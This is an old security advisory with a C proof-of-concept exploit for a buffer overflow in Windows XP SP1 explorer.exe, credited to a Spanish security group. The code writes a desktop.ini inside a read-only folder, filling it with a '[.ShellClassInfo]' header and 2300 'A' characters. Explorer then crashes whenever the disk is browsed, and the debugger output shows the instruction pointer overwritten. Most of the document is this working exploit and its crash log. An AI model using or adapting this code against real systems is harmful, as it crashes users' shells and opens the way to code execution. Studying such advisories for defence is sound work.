Buffer overflow in Explorer.exe

This bug allow a malicious an attacker to execute data with privileges of a
user that is browsing the hard disk with explorer.

tested against winxp SP1

example code provided.

/*

    Buffer Overflow in explorer.exe - Proof of Concept
    Tested only against: Windows XP SP1

    Found by [email protected]

    Saludos a:
    - #Haxorcitos@efnet= { "Tarako", "Croulder", "Drakar" , "[back]", "tyr" }:
    - #localhost and #darknet


    Usage: just execute this file.
            This code will crash your explorer every time you try to browse your 

harddisk
execute this program again to delete the evil file ;-)

    (3ec.464): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00410041 ebx=0012aca8 ecx=77e5e1c4 edx=002f0000 esi=00121b70 

edi=000ece90
eip=00410041 esp=0177dfb0 ebp=00410041 iopl=0 nv up ei pl zr na po
nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000
efl=00010246
00410041 ?? ???

    3W Design Security 2003.        http://www.3WDesign.es/

*/

#include <direct.h>
#include <stdio.h>
#include <windows.h>
#include <sys/stat.h>

#define BUFF 2300
void main(){

    char path[256];
    char evil[BUFF+1]="";
    FILE *bof;
    struct stat st;
    printf("\n . .. ...: \tBuffer overflow in explorer.exe\t\t:... .. .\n . .. 

…: \tProof of Concept ([email protected])\t:… … .\n\n");
strcpy(path,"\\aT4r[at]3WDesign.es Security");
mkdir(path);
SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);

    strcat(path,"\\desktop.ini");
    if (stat(path,&st)==0)
            { remove(path); exit(1);}//just execute this program twice to remote this 

file :P
bof=fopen(path,"w");
fputs("[.ShellClassInfo]\n",bof);
memset(evil,'A',BUFF);
fputs(evil,bof);
fclose(bof);
printf("evil file: %s Created. Try to browse your Harddisk O:-)\n",path);

}

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